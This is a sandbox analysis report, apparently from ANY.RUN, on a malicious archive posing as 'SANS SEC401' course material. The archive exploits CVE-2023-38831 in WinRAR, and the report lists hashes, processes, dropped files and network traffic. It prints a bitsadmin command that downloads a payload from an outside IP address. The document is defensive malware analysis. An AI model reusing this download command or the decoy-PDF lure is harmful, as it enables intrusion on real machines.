File name:

SANS SEC401.rar

Full analysis: https://app.any.run/tasks/37652421-14bc-44a7-a546-f7132e55404c
Verdict: Malicious activity
Analysis date: May 10, 2025, 03:21:35
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
arch-exec
CVE-2023-38831
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract, compression method=store
MD5:

1FBD3CA9FCFEA5AAC390EA38FF818CC9

SHA1:

04BB53BD8A264BE0B3EA10FFA1945EB6F5ECDA93

SHA256:

D1A55BB98B750CE9B9D9610A857DDC408331B6AE6834C1CBCCCA4FD1C50C4FB8

SSDEEP:

768:tDUX2OpRDnVoegESWJDg8LUud1LRqh1cC8v3GIEBK8:t0DHDnVoe1SsDuh103YBf

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  • MALICIOUS

    • Generic archive extractor

      • WinRAR.exe (PID: 5072)
    • Downloads files via BITSADMIN.EXE

      • cmd.exe (PID: 7748)
      • cmd.exe (PID: 7172)
    • CVE-2023-38831 is detected

      • WinRAR.exe (PID: 5072)
  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • WinRAR.exe (PID: 5072)
    • Executing commands from ".cmd" file

      • WinRAR.exe (PID: 5072)
    • Reads security settings of Internet Explorer

      • WinRAR.exe (PID: 5072)
  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: -
ZipCompression: None
ZipModifyDate: 2024:02:03 09:11:32
ZipCRC: 0x00000000
ZipCompressedSize: -
ZipUncompressedSize: -
ZipFileName: SANS SEC401.pdf /
No data.
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Total processes
139
Monitored processes
9
Malicious processes
1
Suspicious processes
2

Behavior graph

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start #CVE-2023-38831 winrar.exe no specs sppextcomobj.exe no specs slui.exe no specs cmd.exe no specs conhost.exe no specs bitsadmin.exe no specs cmd.exe no specs conhost.exe no specs bitsadmin.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
5072"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\SANS SEC401.rar.zip"C:\Program Files\WinRAR\WinRAR.exe
explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
5408\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6876bitsadmin /transfer Nothing /download /priority normal http://172.18.35.10:8000/amanwhogetsnorest.jpg C:\Windows\Temp\amanwhogetsnorest.jpgC:\Windows\System32\bitsadmin.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
BITS administration utility
Version:
7.8.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\bitsadmin.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\sspicli.dll
7172C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\Rar$DIa5072.15740\SANS SEC401.pdf .cmd" "C:\Windows\System32\cmd.exeWinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
7200C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exesvchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
7232"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exeSppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
7748C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\Rar$DIa5072.13314\SANS SEC401.pdf .cmd" "C:\Windows\System32\cmd.exeWinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
7760\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7812bitsadmin /transfer Nothing /download /priority normal http://172.18.35.10:8000/amanwhogetsnorest.jpg C:\Windows\Temp\amanwhogetsnorest.jpgC:\Windows\System32\bitsadmin.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
BITS administration utility
Version:
7.8.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\bitsadmin.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\sspicli.dll
Total events
2 226
Read events
2 218
Write events
8
Delete events
0

Modification events

(PID) Process:(5072) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\preferences.zip
(PID) Process:(5072) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\chromium_ext.zip
(PID) Process:(5072) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\omni_23_10_2024_.zip
(PID) Process:(5072) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\SANS SEC401.rar.zip
(PID) Process:(5072) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(5072) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(5072) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(5072) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
Executable files
0
Suspicious files
2
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
5072WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIa5072.13314\SANS SEC401.pdf .cmdtext
MD5:74900DD2A29CD5EEBCC259F0265C8425
SHA256:5790225B1BCFA692C57A0914DD78678CEEF6E212FBE7042B7DDF5A06FD4AB70D
5072WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIa5072.13314\SANS SEC401.pdfpdf
MD5:60CCE380DA0C5D26C70C4917C06FA60F
SHA256:BF76B9992DEF63B87CD3880487624F07D60EE0FC9003FE29A73A9AD3632C6AC4
5072WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIa5072.15740\SANS SEC401.pdfpdf
MD5:60CCE380DA0C5D26C70C4917C06FA60F
SHA256:BF76B9992DEF63B87CD3880487624F07D60EE0FC9003FE29A73A9AD3632C6AC4
5072WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIa5072.15740\SANS SEC401.pdf .cmdtext
MD5:74900DD2A29CD5EEBCC259F0265C8425
SHA256:5790225B1BCFA692C57A0914DD78678CEEF6E212FBE7042B7DDF5A06FD4AB70D
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HTTP(S) requests
5
TCP/UDP connections
21
DNS requests
13
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5496
MoUsoCoreWorker.exe
GET
200
2.16.164.49:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
whitelisted
8048
SIHClient.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
whitelisted
8048
SIHClient.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
whitelisted
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
whitelisted
4
System
192.168.100.255:138
whitelisted
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5496
MoUsoCoreWorker.exe
2.16.164.49:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
5496
MoUsoCoreWorker.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
3216
svchost.exe
172.211.123.248:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6708
RUXIMICS.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6544
svchost.exe
20.190.160.3:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6544
svchost.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
2104
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 216.58.206.46
whitelisted
settings-win.data.microsoft.com
  • 4.231.128.59
  • 51.124.78.146
whitelisted
crl.microsoft.com
  • 2.16.164.49
  • 2.16.164.120
whitelisted
www.microsoft.com
  • 95.101.149.131
  • 2.23.246.101
whitelisted
client.wns.windows.com
  • 172.211.123.248
whitelisted
login.live.com
  • 20.190.160.3
  • 20.190.160.64
  • 40.126.32.140
  • 20.190.160.128
  • 40.126.32.68
  • 40.126.32.72
  • 20.190.160.22
  • 20.190.160.5
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
slscr.update.microsoft.com
  • 52.149.20.212
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.3.187.198
whitelisted

Threats

No threats detected
No debug info